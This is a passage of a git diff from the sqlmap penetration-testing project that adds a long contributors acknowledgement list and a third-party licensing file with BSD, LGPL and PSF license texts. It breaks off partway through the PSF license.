a minor bug + +Pierre Chifflier, <pollux(at)debian.org> and Mark Hymers, <ftpmaster(at)debian.org> +* for uploading and accepting the sqlmap Debian package to the official Debian project repository + +Hysia Chow <hysia(at)icloud.com> +* for contributing a couple of WAF scripts + +Chris Clements, <cclements(at)flatearth.net> +* for reporting a couple of bugs + +John Cobb, <johnc(at)nobytes.com> +* for reporting a minor bug + +Andreas Constantinides, <megahz(at)megahz.org> +* for reporting a minor bug + +Andre Costa, <andre.investorsclub(at)gmail.com> +* for reporting a minor bug +* for suggesting a minor enhancement + +Ulises U. Cune, <ulises2k(at)gmail.com> +* for reporting a bug + +Alessandro Curio, <alessandro.curio(at)gmail.com> +* for reporting a minor bug + +Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com> +* for reporting a couple of bugs + +Alexis Danizan, <alexis.danizan(at)synacktiv.com> +* for contributing support for ClickHouse + +Sherif El-Deeb, <archeldeeb(at)gmail.com> +* for reporting a minor bug + +Thomas Etrillard, <thomas.etrillard(at)synacktiv.com> +* for contributing the IBM DB2 error-based payloads (RAISE_ERROR) + +Stefano Di Paola, <stefano.dipaola(at)wisec.it> +* for suggesting good features + +Mosk Dmitri, <ya(at)darkbyte.ru> +* for reporting a minor bug + +Meng Dong, <whenov(at)gmail.com> +* for contributing a code for Waffit integration + +Carey Evans, <careye(at)spamcop.net> +* for his fcrypt module that allows crypt(3) support + on Windows platforms + +Shawn Evans, <shawndevans(at)gmail.com> +* for suggesting an idea for one tamper script, greatest.py + +Adam Faheem, <faheem.adam(at)is.co.za> +* for reporting a few bugs + +James Fisher, <www(at)sittinglittleduck.com> +* for contributing two very good feature requests +* for his great tool too brute force directories and files names on web/application servers, DirBuster, http://tinyurl.com/dirbuster + +Jim Forster, <jimforster(at)goldenwest.com> +* for reporting a bug + +Rong-En Fan, <rafan(at)freebsd.org> +* for committing the sqlmap 0.5 port to the official FreeBSD project repository + +Giorgio Fedon, <giorgio.fedon(at)gmail.com> +* for suggesting a speed improvement for bisection algorithm +* for reporting a bug when running against Microsoft SQL Server 2005 + +Kasper Fons, <thefeds(at)mail.dk> +* for reporting several bugs + +Alan Franzoni, <alan.franzoni(at)gmail.com> +* for helping out with Python subprocess library + +Harold Fry, <harold(at)violaceo.us> +* for suggesting a minor enhancement + +Daniel G. Gamonal, <lgrecol(at)gmail.com> +* for reporting a minor bug + +Marcos Mateos Garcia, <mmateos(at)germinus.com> +* for reporting a minor bug + +Andrew Gecse, <andrew.gecse(at)upcmail.hu> +* for reporting a minor issue + +Ivan Giacomelli, <truemilk(at)insiberia.net> +* for reporting a bug +* for suggesting a minor enhancement +* for reviewing the documentation + +Dimitris Giannitsaros, <daremon(at)gmail.com> +* for contributing a REST-JSON API client + +Nico Golde, <nico(at)ngolde.de> +* for reporting a couple of bugs + +Oliver Gruskovnjak, <oliver.gruskovnjak(at)gmail.com> +* for reporting a bug +* for contributing a minor patch + +Davide Guerri, <d.guerri(at)caspur.it> +* for suggesting an enhancement + +Dan Guido, <dguido(at)gmail.com> +* for promoting sqlmap in the context of the Penetration Testing and Vulnerability Analysis class at the Polytechnic University of New York, http://isisblogs.poly.edu/courses/pentest/ + +David Guimaraes, <skysbsb(at)gmail.com> +* for reporting considerable amount of bugs +* for suggesting several features + +Tate Hansen, <tate(at)clearnetsec.com> +* for donating to sqlmap development + +Mario Heiderich, <mario.heiderich(at)gmail.com> +Christian Matthies, <ch0012(at)gmail.com> +Lars H. Strojny, <lars(at)strojny.net> +* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, https://github.com/PHPIDS/PHPIDS + +Kristian Erik Hermansen, <kristian.hermansen(at)gmail.com> +* for reporting a bug +* for donating to sqlmap development + +Alexander Hagenah, <ah(at)primepage.de> +* for reporting a minor bug + +Dennis Hecken, <mail(at)8dh.de> +* for reporting a minor bug + +Choi Ho, <counterhacker815(at)gmail.com> +* for reporting a minor bug + +Jorge Hoya, <aquinadie(at)gmail.com> +* for suggesting a minor enhancement + +Will Holcomb, <wholcomb(at)gmail.com> +* for his MultipartPostHandler class to handle multipart POST forms and permission to include it within sqlmap source code + +Daniel Huckmann, <sanitybit(at)gmail.com> +* for reporting a couple of bugs + +Daliev Ilya, <daliser(at)yandex.ru> +* for reporting a bug + +Mehmet Ä°nce, <mehmet(at)mehmetince.net> +* for contributing a tamper script xforwardedfor.py + +Jovon Itwaru, <jovon.itwaru(at)gmail.com> +* for reporting a minor bug + +Prashant Jadhav, <prashantjadhav.82(at)gmail.com> +* for reporting a bug + +Dirk Jagdmann, <doj(at)cubic.org> +* for reporting a typo in the documentation + +Luke Jahnke, <luke.jahnke(at)gmail.com> +* for reporting a bug when running against MySQL < 5.0 + +Andrew Kitis <andrew.kitis(at)gmail.com> +* for contributing a tamper script lowercase.py + +David Klein, <david.klein(at)ipfocus.com.au> +* for reporting a minor code improvement + +Sven Klemm, <sven(at)c3d2.de> +* for reporting two minor bugs with PostgreSQL + +Anant Kochhar, <anant.kochhar(at)secureyes.net> +* for providing with feedback on the user's manual + +Dmitriy Kononov, <dmitriyknnv(at)gmail.com> +* for reporting a minor bug + +Alexander Kornbrust, <ak(at)red-database-security.com> +* for reporting a couple of bugs + +Krzysztof Kotowicz, <kkotowicz(at)gmail.com> +* for reporting a minor bug + +Nicolas Krassas, <krasn(at)deventum.com> +* for reporting a couple of bugs + +Oliver Kuckertz, <oliver.kuckertz(at)mologie.de> +* for contributing a minor patch + +Alex Landa, <landa.alex86(at)gmail.com> +* for contributing a patch adding beta support for XML output + +Guido Landi, <lists(at)keamera.org> +* for reporting a couple of bugs +* for the great technical discussions +* for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploit development +* for presenting with Bernardo at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009 + +Lee Lawson, <Lee.Lawson(at)dns.co.uk> +* for reporting a minor bug + +John J. Lee, <jjl(at)pobox.com> and others +* for developing the clientform Python library used by sqlmap to parse forms when --forms switch is specified + +Nico Leidecker, <nico(at)leidecker.info> +* for providing with feedback on a few features +* for reporting a couple of bugs +* for his great tool icmpsh included in sqlmap tree to get a command prompt via an out-of-band tunnel over ICMP, http://leidecker.info/downloads/icmpsh.zip + +Gabriel Lima, <pato(at)bugnet.com.br> +* for reporting a couple of bugs + +Svyatoslav Lisin, <sel(at)3d-tech.ru> +* for suggesting a minor feature + +Miguel Lopes, <theoverblue(at)gmail.com> +* for reporting a minor bug + +Truong Duc Luong, <luongductruong(at)gmail.com> +* for reporting a minor bug + +Pavol Luptak, <pavol.luptak(at)nethemba.com> +* for reporting a bug when injecting on a POST data parameter + +Till Maas, <opensource(at)till.name> +* for suggesting a minor feature + +Michael Majchrowicz, <mmajchrowicz(at)gmail.com> +* for extensively beta-testing sqlmap on various MySQL DBMS +* for providing really appreciated feedback +* for suggesting a lot of ideas and features + +Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com> +* for contributing a Portuguese translation of README.md + +Francesco Marano, <francesco.mrn24(at)gmail.com> +* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload + +Ahmad Maulana, <matdhule(at)gmail.com> +* for contributing a tamper script halfversionedmorekeywords.py + +Ferruh Mavituna, <ferruh(at)mavituna.com> +* for exchanging ideas on the implementation of a couple of features + +David McNab, <david(at)conscious.co.nz> +* for his XMLObject module that allows XML files to be operated on like Python objects + +Spencer J. McIntyre, <smcintyre(at)securestate.com> +* for reporting a minor bug +* for contributing a patch for OS fingerprinting on DB2 + +Brad Merrell, <bradmer12(at)gmail.com> +* for reporting a minor bug + +Michael Meyer, <m.meyer2k(at)gmail.com> +* for suggesting a minor feature + +Enrico Milanese, <enricomilanese(at)gmail.com> +* for reporting a minor bug +* for sharing some ideas for the PHP backdoor + +Liran Mimoni, <reactor.leet(at)gmail.com> +* for reporting a minor bug + +Marco Mirandola, <mmmccc0(at)gmail.com> +* for reporting a minor bug + +Devon Mitchell, <devon.mitchell1988(at)yahoo.com> +* for reporting a minor bug + +Anton Mogilin, <azarmaster81(at)yahoo.com> +* for reporting a few bugs + +Sergio Molina, <smolina(at)wpr.es> +* for reporting a minor bug + +Anastasios Monachos, <anastasiosm(at)gmail.com> +* for providing some useful data +* for suggesting a feature +* for reporting a couple of bugs + +Kirill Morozov, <l0rda(at)l0rda.biz> +* for reporting a bug +* for suggesting a feature + +Alejo Murillo Moya, <alex(at)65535.com> +* for reporting a minor bug +* for suggesting a few features + +Yonny Mutai, <yonnym(at)googlemail.com> +* for reporting a minor bug + +Roberto Nemirovsky, <roberto.paes(at)gmail.com> +* for pointing out some enhancements + +Sebastian Nerz, <sebastian.nerz(at)syss.de> +* for reporting a (potential) vulnerability in --eval + +Simone Onofri, <simone.onofri(at)gmail.com> +* for patching the PHP web backdoor to make it work properly also on Windows + +Michele Orru, <michele.orru(at)antisnatchor.com> +* for reporting a couple of bug +* for suggesting ideas on how to implement the RESTful API + +Shaohua Pan, <pan(at)knownsec.com> +* for reporting several bugs +* for suggesting a few features + +Antonio Parata, <s4tan(at)ictsc.it> +* for sharing some ideas for the PHP backdoor + +Adrian Pastor, <ap(at)gnucitizen.org> +* for donating to sqlmap development + +Christopher Patten, <cpatten(at)sunera.com> +* for reporting a bug in the blind SQL injection bisection algorithm + +Zack Payton, <zack.payton(at)executiveinstruments.com> +* for reporting a minor bug + +Jaime Penalba, <nighterman(at)painsec.com> +* for contributing a patch for INSERT/UPDATE generic boundaries + +Pedrito Perez, <0ark1ang3l(at)gmail.com> +* for reporting a couple of bugs + +Brandon Perry, <bperry.volatile(at)gmail.com> +* for reporting a couple of bugs + +Travis Phillips, <perfect_insanity2004(at)yahoo.com> +* for suggesting a minor enhancement + +Mark Pilgrim, <mark(at)diveintomark.org> +* for porting chardet package (Universal Encoding Detector) to Python + +Steve Pinkham, <steve.pinkham(at)gmail.com> +* for suggesting a feature +* for contributing a new SQL injection vector (MSSQL time-based blind) +* for donating to sqlmap development + +Adam Pridgen, <adam.pridgen(at)gmail.com> +* for suggesting some features + +Luka Pusic, <luka(at)pusic.si> +* for reporting a couple of bugs + +Ole Rasmussen, <olerass(at)gmail.com> +* for reporting a bug +* for suggesting a feature + +Alberto Revelli, <r00t(at)northernfortress.net> +* for inspiring to write sqlmap user's manual in SGML +* for his great Microsoft SQL Server take over tool, sqlninja, http://sqlninja.sourceforge.net + +David Rhoades, <david.rhoades(at)mavensecurity.com> +* for reporting a bug + +Andres Riancho, <andres.riancho(at)gmail.com> +* for beta-testing sqlmap +* for reporting a bug and suggesting some features +* for including sqlmap in his great web application audit and attack framework, w3af, http://w3af.sourceforge.net +* for suggesting a way for handling DNS caching + +Jamie Riden, <jamie.riden(at)ngssecure.com> +* for reporting a minor bug + +Alexander Rigbo, <alex(at)rigbo.se> +* for contributing a minor patch + +Antonio Riva, <antonio.riva(at)gmail.com> +* for reporting a bug when running with python 2.5 + +Ethan Robish, <ethan.robish(at)gmail.com> +* for reporting a bug + +Levente Rog, <levidos(at)gmail.com> +* for reporting a minor bug + +Andrea Rossi, <andyroyalbattle(at)yahoo.it> +* for reporting a minor bug +* for suggesting a feature + +Frederic Roy, <frederic.roy(at)telindus.fr> +* for reporting a couple of bugs + +Vladimir Rutsky, <rutsky.vladimir(at)gmail.com> +* for suggesting a couple of minor enhancements + +Richard Safran, <allapplyhere(at)yahoo.com> +* for donating the sqlmap.org domain + +Tomoyuki Sakurai, <cherry(at)trombik.org> +* for submitting to the FreeBSD project the sqlmap 0.5 port + +Roberto Salgado, <lightos(at)gmail.com> +* for contributing considerable amount of tamper scripts + +Pedro Jacques Santos Santiago, <pedro__jacques(at)hotmail.com> +* for reporting considerable amount of bugs + +Marek Sarvas, <marek.sarvas(at)gmail.com> +* for reporting several bugs + +Philippe A. R. Schaeffer, <schaeff(at)compuphil.de> +* for reporting a minor bug + +Henri Salo <henri(at)nerv.fi> +* for a donation + +Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com> +* for reporting a minor bug + +Jorge Santos, <jorge_a_santos(at)hotmail.com> +* for reporting a minor bug + +Sven Schluter, <sschlueter(at)netzwerk.cc> +* for contributing a patch +* for waiting a number of seconds between each HTTP request + +Ryan Sears, <rdsears(at)mtu.edu> +* for suggesting a couple of enhancements +* for donating to sqlmap development + +Uemit Seren, <uemit.seren(at)gmail.com> +* for reporting a minor adjustment when running with python 2.6 + +Shane Sewell, <ssewell(at)gmail.com> +* for suggesting a feature + +Ahmed Shawky, <ahmed(at)isecur1ty.org> +* for reporting a major bug with improper handling of parameter values +* for reporting a bug + +Brian Shura, <bshura(at)appsecconsulting.com> +* for reporting a bug + +Sumit Siddharth, <sid(at)notsosecure.com> +* for sharing ideas on the implementation of a couple of features + +Andre Silva, <andreoaz(at)gmail.com> +* for reporting a bug + +Benjamin Silva H. <silva96(at)gmail.com> +* for reporting a bug + +Duarte Silva <duarte.silva(at)serializing.me> +* for reporting a couple of bugs + +M Simkin, <mlsimkin(at)cox.net> +* for suggesting a feature + +Tanaydin Sirin, <tanaydinsirin(at)gmail.com> +* for implementation of ncurses TUI (switch --tui) + +Konrads Smelkovs, <konrads(at)smelkovs.com> +* for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server + +Chris Spencer, <chris.spencer(at)ngssecure.com> +* for reviewing the user's manual grammar + +Michael D. Stenner, <mstenner(at)linux.duke.edu> +* for his keepalive module that allows handling of persistent HTTP 1.1 keep-alive connections + +Marek Stiefenhofer, <m.stiefenhofer(at)r-tec.net> +* for reporting a few bugs + +Jason Swan, <jasoneswan(at)gmail.com> +* for reporting a bug when enumerating columns on Microsoft SQL Server +* for suggesting a couple of improvements + +Chilik Tamir, <phenoman(at)gmail.com> +* for contributing a patch for initial support SOAP requests + +Alessandro Tanasi, <alessandro(at)tanasi.it> +* for extensively beta-testing sqlmap +* for suggesting many features and reporting some bugs +* for reviewing the documentation + +Andres Tarasco, <atarasco(at)gmail.com> +* for contributing good feedback + +Tom Thumb, <k1971(at)live.co.uk> +* for reporting a major bug + +Kazim Bugra Tombul, <mhackmail(at)gmail.com> +* for reporting a minor bug + +Efrain Torres, <et(at)metasploit.com> +* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository +* for his great Metasploit WMAP Framework + +Jennifer Torres, <jtorresf42(at)gmail.com> +* for contributing a tamper script luanginx.py + +Sandro Tosi, <matrixhasu(at)gmail.com> +* for helping to create sqlmap Debian package correctly + +Jacco van Tuijl, <jaccovantuijl(at)gmail.com> +* for reporting several bugs + +Vitaly Turenko, <dsu(at)dsu.com.ua> +* for reporting a bug + +Augusto Urbieta, <x2xpy50(at)gmail.com> +* for reporting a minor bug + +Bedirhan Urgun, <bedirhanurgun(at)gmail.com> +* for reporting a few bugs +* for suggesting some features and improvements +* for benchmarking sqlmap in the context of his SQL injection benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench + +Kyprianos Vasilopoulos, <kyprianos.vasilopoulos(at)gmail.com> +* for reporting a couple of minor bugs + +Vlado Velichkovski, <ketejadam(at)hotmail.com> +* for reporting considerable amount of bugs +* for suggesting an enhancement + +Johnny Venter, <johnny.venter(at)zoho.com> +* for reporting a couple of bugs + +Carlos Gabriel Vergara, <carlosgabrielvergara(at)gmail.com> +* for suggesting couple of good features + +Patrick Webster, <patrick(at)aushack.com> +* for suggesting an enhancement +* for donating to sqlmap development (from OSI.Security) + +Ed Williams, <ed.williams(at)ngssecure.com> +* for suggesting a minor enhancement + +Anthony Zboralski, <anthony.zboralski(at)bellua.com> +* for providing with detailed feedback +* for reporting a few minor bugs +* for donating to sqlmap development + +Thierry Zoller, <thierry(at)zoller.lu> +* for reporting a couple of major bugs + +Zhen Zhou, <zhouzhenster(at)gmail.com> +* for suggesting a feature + +-insane-, <insane_(at)gmx.de> +* for reporting a minor bug + +1ndr4 joe, <c0d3w4st3r(at)gmail.com> +* for reporting a couple of bugs + +abc abc, <biedimc(at)gmx.net> +* for reporting a minor bug + +Abuse 007, <abuse007(at)gmail.com> +* for reporting a bug + +agix, <florian.gaultier@gmail.com> +* for contributing the file upload via certutil.exe functionality + +Alex, <m3zero(at)gmail.com> +* for reporting a minor bug + +anonymous anonymous, <tmp(at)2ch.so> +* for reporting a couple of bugs + +bamboo, <roberthacksley(at)gmail.com> +* for reporting a couple of bugs + +Brandon E., <brandonpoc(at)gmail.com> +* for reporting a bug + +black zero, <timeisflowing(at)gmail.com> +* for reporting a minor bug + +blueBoy, <blueboy4444(at)gmail.com> +* for reporting a bug + +buawig, <buawig(at)gmail.com> +* for reporting considerable amount of bugs + +Bugtrace, <bugtrace(at)gmail.com> +* for reporting several bugs + +cats, <dump(at)alcor.se> +* for reporting a couple of bugs + +Christian S, <christian_s(at)linuxmail.org> +* for reporting a minor bug + +clav, <elclav(at)gmail.com> +* for reporting a minor bug + +dragoun dash, <dragoun.dash(at)gmail.com> +* for reporting a minor bug + +flsf, <jianmaflsf@gmail.com> +* for contributing WAF scripts 360.py, anquanbao.py, baidu.py, safedog.py +* for contributing a minor patch + +fufuh, <fufuh(at)users.sourceforge.net> +* for reporting a bug when running on Windows + +Hans Wurst, <wurstwass0r(at)googlemail.com> +* for reporting a couple of bugs + +Hysia, <hysia(at)huorui.net> +* for contributing a Chinese translation of README.md + +james, <james(at)ev6.net> +* for reporting a bug + +Joe "Pragmatk", <pragmatk(at)gmail.com> +* for reporting a few bugs + +John Smith, <tixos(at)live.com> +* for reporting several bugs +* for suggesting some features + +m4l1c3, <malice.anon(at)gmail.com> +* for reporting considerable amount of bugs + +mariano, <marianoso(at)gmail.com> +* for reporting a bug + +mitchell, <mitchell(at)tufala.net> +* for reporting a few bugs + +Nadzree, <nadzree(at)bake180.com> +* for reporting a minor bug + +nightman, <nightman(at)email.de> +* for reporting considerable amount of bugs + +Oso Dog osodog123(at)yahoo.com +* for reporting a minor bug + +pacman730, <pacman730(at)users.sourceforge.net> +* for reporting a bug + +pentestmonkey, <pentestmonkey(at)pentestmonkey.net> +* for reporting several bugs +* for suggesting a few minor enhancements + +Phat R., <phatthanaphol(at)gmail.com> +* for reporting a few bugs + +Phil P, <(at)superevr> +* for suggesting a minor enhancement + +ragos, <ragos(at)joker.ms> +* for reporting a minor bug + +rmillet, <rmillet42(at)gmail.com> +* for reporting a bug + +Rub3nCT, <rub3nct(at)gmail.com> +* for reporting a minor bug + +sapra, <amanistaken(at)gmail.com> +* for helping out with Python multiprocessing library on MacOS + +shiftzwei, <shiftzwei(at)gmail.com> +* for reporting a couple of bugs + +smith, <esmyl911(at)gmail.com> +* for reporting a minor bug + +Soma Cruz, <oleg.kupreev(at)gmail.com> +* for reporting a minor bug + +Spiros94, <cont(at)eyrhka.gr> +* for contributing a Greek translation of README.md + +Stuffe, <stuffe.dk(at)gmail.com> +* for reporting a minor bug and a feature request + +Sylphid, <sylphid.su(at)sti.com.tw> +* for suggesting some features + +syssecurity.info, <syssecurity7(at)googlemail.com> +* for reporting a minor bug + +This LittlePiggy, <thislittlepiggyhadroastbeef(at)hotmail.com> +* for reporting a minor bug + +ToR, <sstidus(at)email.it> +* for reporting considerable amount of bugs +* for suggesting a feature + +ultramegaman, <seclists(at)ultramegaman.com> +* for reporting a minor bug + +Vinicius, <viniciusmaxdaloop(at)gmail.com> +* for reporting a minor bug + +virusdefender +* for contributing WAF scripts safeline.py + +w8ay +* for contributing an implementation for chunked transfer-encoding (switch --chunked) + +wanglei, <wanglei(at)17uxi.cn> +* for reporting a minor bug + +warninggp, <warninggp(at)gmail.com> +* for reporting a few minor bugs + +x, <deep_freeze(at)mail.ru> +* for reporting a bug + +zhouhx, <zhouhx(at)knownsec.com> +* for contributing a minor patch + +# Organizations + +Black Hat team, <info(at)blackhat.com> +* for the opportunity to present my research titled 'Advanced SQL injection to operating system full control' at Black Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of the sqlmap 0.7 release candidate version new features during my presentation + * Homepage: http://goo.gl/BKfs7 + * Slides: http://goo.gl/Dh65t + * White paper: http://goo.gl/spX3N + +SOURCE Conference team, <press(at)sourceconference.com> +* for the opportunity to present my research titled 'Expanding the control over the operating system from the database' at SOURCE Conference 2009 on September 21, 2009 in Barcelona (ES). I unveiled and demonstrated some of the sqlmap 0.8 release candidate version new features during my presentation + * Homepage: http://goo.gl/IeXV4 + * Slides: http://goo.gl/OKnfj + +AthCon Conference team, <cfp(at)athcon.org> +* for the opportunity to present my research titled 'Got database access? Own the network!' at AthCon Conference 2010 on June 3, 2010 in Athens (GR). I unveiled and demonstrated some of the sqlmap 0.8 version features during my presentation + * Homepage: http://goo.gl/Fs71I + * Slides: http://goo.gl/QMfjO + +Metasploit Framework development team, <msfdev(at)metasploit.com> +* for their powerful tool Metasploit Framework, used by sqlmap, among others things, to create the shellcode and establish an out-of-band connection between sqlmap and the database server + * Homepage: http://www.metasploit.com + +OWASP Board, <info(at)owasp.org> +* for sponsoring part of the sqlmap development in the context of OWASP Spring of Code 2007 + * Homepage: http://www.owasp.org diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md new file mode 100644 index 00000000000..03c0c01e8f4 --- /dev/null +++ b/doc/THIRD-PARTY.md @@ -0,0 +1,309 @@ +This file lists bundled packages and their associated licensing terms. + +# BSD + +* The `Ansistrm` library located under `thirdparty/ansistrm/`. + Copyright (C) 2010-2012, Vinay Sajip. +* The `Beautiful Soup` library located under `thirdparty/beautifulsoup/`. + Copyright (C) 2004-2010, Leonard Richardson. +* The `ClientForm` library located under `thirdparty/clientform/`. + Copyright (C) 2002-2007, John J. Lee. + Copyright (C) 2005, Gary Poster. + Copyright (C) 2005, Zope Corporation. + Copyright (C) 1998-2000, Gisle Aas. +* The `Colorama` library located under `thirdparty/colorama/`. + Copyright (C) 2013, Jonathan Hartley. +* The `Fcrypt` library located under `thirdparty/fcrypt/`. + Copyright (C) 2000, 2001, 2004 Carey Evans. +* The `SocksiPy` library located under `thirdparty/socks/`. + Copyright (C) 2006, Dan-Haim. + +```` +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + - Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + - Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + - Neither the name of the <organization> nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +```` + +# LGPL + +* The `Chardet` library located under `thirdparty/chardet/`. + Copyright (C) 2008, Mark Pilgrim. +* The `KeepAlive` library located under `thirdparty/keepalive/`. + Copyright (C) 2002-2003, Michael D. Stenner. +* The `MultipartPost` library located under `thirdparty/multipart/`. + Copyright (C) 2006, Will Holcomb. +* The `icmpsh` tool located under `extra/icmpsh/`. + Copyright (C) 2010, Nico Leidecker, Bernardo Damele. + +```` + GNU LESSER GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + + This version of the GNU Lesser General Public License incorporates +the terms and conditions of version 3 of the GNU General Public +License, supplemented by the additional permissions listed below. + + 0. Additional Definitions. + + As used herein, "this License" refers to version 3 of the GNU Lesser +General Public License, and the "GNU GPL" refers to version 3 of the GNU +General Public License. + + "The Library" refers to a covered work governed by this License, +other than an Application or a Combined Work as defined below. + + An "Application" is any work that makes use of an interface provided +by the Library, but which is not otherwise based on the Library. +Defining a subclass of a class defined by the Library is deemed a mode +of using an interface provided by the Library. + + A "Combined Work" is a work produced by combining or linking an +Application with the Library. The particular version of the Library +with which the Combined Work was made is also called the "Linked +Version". + + The "Minimal Corresponding Source" for a Combined Work means the +Corresponding Source for the Combined Work, excluding any source code +for portions of the Combined Work that, considered in isolation, are +based on the Application, and not on the Linked Version. + + The "Corresponding Application Code" for a Combined Work means the +object code and/or source code for the Application, including any data +and utility programs needed for reproducing the Combined Work from the +Application, but excluding the System Libraries of the Combined Work. + + 1. Exception to Section 3 of the GNU GPL. + + You may convey a covered work under sections 3 and 4 of this License +without being bound by section 3 of the GNU GPL. + + 2. Conveying Modified Versions. + + If you modify a copy of the Library, and, in your modifications, a +facility refers to a function or data to be supplied by an Application +that uses the facility (other than as an argument passed when the +facility is invoked), then you may convey a copy of the modified +version: + + a) under this License, provided that you make a good faith effort to + ensure that, in the event an Application does not supply the + function or data, the facility still operates, and performs + whatever part of its purpose remains meaningful, or + + b) under the GNU GPL, with none of the additional permissions of + this License applicable to that copy. + + 3. Object Code Incorporating Material from Library Header Files. + + The object code form of an Application may incorporate material from +a header file that is part of the Library. You may convey such object +code under terms of your choice, provided that, if the incorporated +material is not limited to numerical parameters, data structure +layouts and accessors, or small macros, inline functions and templates +(ten or fewer lines in length), you do both of the following: + + a) Give prominent notice with each copy of the object code that the + Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the object code with a copy of the GNU GPL and this license + document. + + 4. Combined Works. + + You may convey a Combined Work under terms of your choice that, +taken together, effectively do not restrict modification of the +portions of the Library contained in the Combined Work and reverse +engineering for debugging such modifications, if you also do each of +the following: + + a) Give prominent notice with each copy of the Combined Work that + the Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the Combined Work with a copy of the GNU GPL and this license + document. + + c) For a Combined Work that displays copyright notices during + execution, include the copyright notice for the Library among + these notices, as well as a reference directing the user to the + copies of the GNU GPL and this license document. + + d) Do one of the following: + + 0) Convey the Minimal Corresponding Source under the terms of this + License, and the Corresponding Application Code in a form + suitable for, and under terms that permit, the user to + recombine or relink the Application with a modified version of + the Linked Version to produce a modified Combined Work, in the + manner specified by section 6 of the GNU GPL for conveying + Corresponding Source. + + 1) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (a) uses at run time + a copy of the Library already present on the user's computer + system, and (b) will operate properly with a modified version + of the Library that is interface-compatible with the Linked + Version. + + e) Provide Installation Information, but only if you would otherwise + be required to provide such information under section 6 of the + GNU GPL, and only to the extent that such information is + necessary to install and execute a modified version of the + Combined Work produced by recombining or relinking the + Application with a modified version of the Linked Version. (If + you use option 4d0, the Installation Information must accompany + the Minimal Corresponding Source and Corresponding Application + Code. If you use option 4d1, you must provide the Installation + Information in the manner specified by section 6 of the GNU GPL + for conveying Corresponding Source.) + + 5. Combined Libraries. + + You may place library facilities that are a work based on the +Library side by side in a single library together with other library +facilities that are not Applications and are not covered by this +License, and convey such a combined library under terms of your +choice, if you do both of the following: + + a) Accompany the combined library with a copy of the same work based + on the Library, uncombined with any other library facilities, + conveyed under the terms of this License. + + b) Give prominent notice with the combined library that part of it + is a work based on the Library, and explaining where to find the + accompanying uncombined form of the same work. + + 6. Revised Versions of the GNU Lesser General Public License. + + The Free Software Foundation may publish revised and/or new versions +of the GNU Lesser General Public License from time to time. Such new +versions will be similar in spirit to the present version, but may +differ in detail to address new problems or concerns. + + Each version is given a distinguishing version number. If the +Library as you received it specifies that a certain numbered version +of the GNU Lesser General Public License "or any later version" +applies to it, you have the option of following the terms and +conditions either of that published version or of any later version +published by the Free Software Foundation. If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. +```` + +# PSF + +* The `Magic` library located under `thirdparty/magic/`. + Copyright (C) 2011, Adam Hupp. + +```` +PSF LICENSE AGREEMENT FOR PYTHON 2.7.3 + +This LICENSE AGREEMENT is between the Python Software Foundation (“PSFâ€), +and the Individual or Organization (“Licenseeâ€) accessing and otherwise +using Python 2.7.3 software in source or binary form and its associated +documentation. +Subject to the terms and conditions of this License Agreement, PSF hereby +grants Licensee a nonexclusive, royalty-free, world-wide license to +reproduce, analyze, test, perform and/or display publicly, prepare +derivative works, distribute, and otherwise use Python 2.7.3 alone or in any +derivative version, provided, however, that PSF’s License Agreement and +PSF’s notice of copyright, i.e., “Copyright © 2001-2012 Python Software +Foundation; All Rights Reserved†are retained in Python 2.7.3 alone or in +any derivative version prepared by Licensee. +In the event Licensee prepares a derivative work that is based on or +incorporates Python 2.7.3 or any part thereof, and wants to make the +derivative work available to others as provided herein, then Licensee hereby +agrees to include in any such work a brief summary of the changes made to +Python 2.7.3. +PSF is making Python 2.7.3 available to Licensee on an “AS IS†basis. PSF +MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF +EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND DISCLAIMS 